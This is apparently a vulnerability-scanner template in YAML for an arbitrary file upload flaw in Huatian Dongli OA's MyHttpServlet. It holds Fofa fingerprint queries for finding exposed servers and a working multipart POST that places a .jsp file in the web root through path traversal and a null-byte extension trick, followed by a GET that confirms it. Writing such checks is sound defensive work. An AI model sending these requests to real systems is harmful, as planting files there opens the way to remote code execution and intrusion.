漏洞描述
华天动力 MyHttpServlet 任意文件上传
Fofa: body="/OAapp/WebObjects/OAapp.woa" || body="/OAapp/htpages/app"
id: huatiandongli-myhttpservlet-fileupload
info:
name: 华天动力 MyHttpServlet 任意文件上传
author: zan8in
severity: critical
verified: false
description: |-
华天动力 MyHttpServlet 任意文件上传
Fofa: body="/OAapp/WebObjects/OAapp.woa" || body="/OAapp/htpages/app"
reference:
- https://mp.weixin.qq.com/s?__biz=MzkzNjYwODg3Ng==&mid=2247484255&idx=1&sn=593fb55af1dc091ae6a4e94de018dbc2
tags: huatian,huatiandongli,fileupload
created: 2024/01/16
set:
rboundary: randomLowercase(8)
filename: randomLowercase(6)
bodystr: randomLowercase(16)
rules:
r0:
request:
method: POST
path: /OAapp/MyHttpServlet?username=admin
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../webapps/ROOT/{{filename}}.jsp%00.jpg\r\n\
\r\n\
{{bodystr}}\r\n\
------WebKitFormBoundary{{rboundary}}--\r\n\
"
expression: response.status == 200
r1:
request:
method: GET
path: /{{filename}}.jsp;.html
expression: response.status == 200 && response.body.bcontains(bytes(bodystr))
expression: r0() && r1()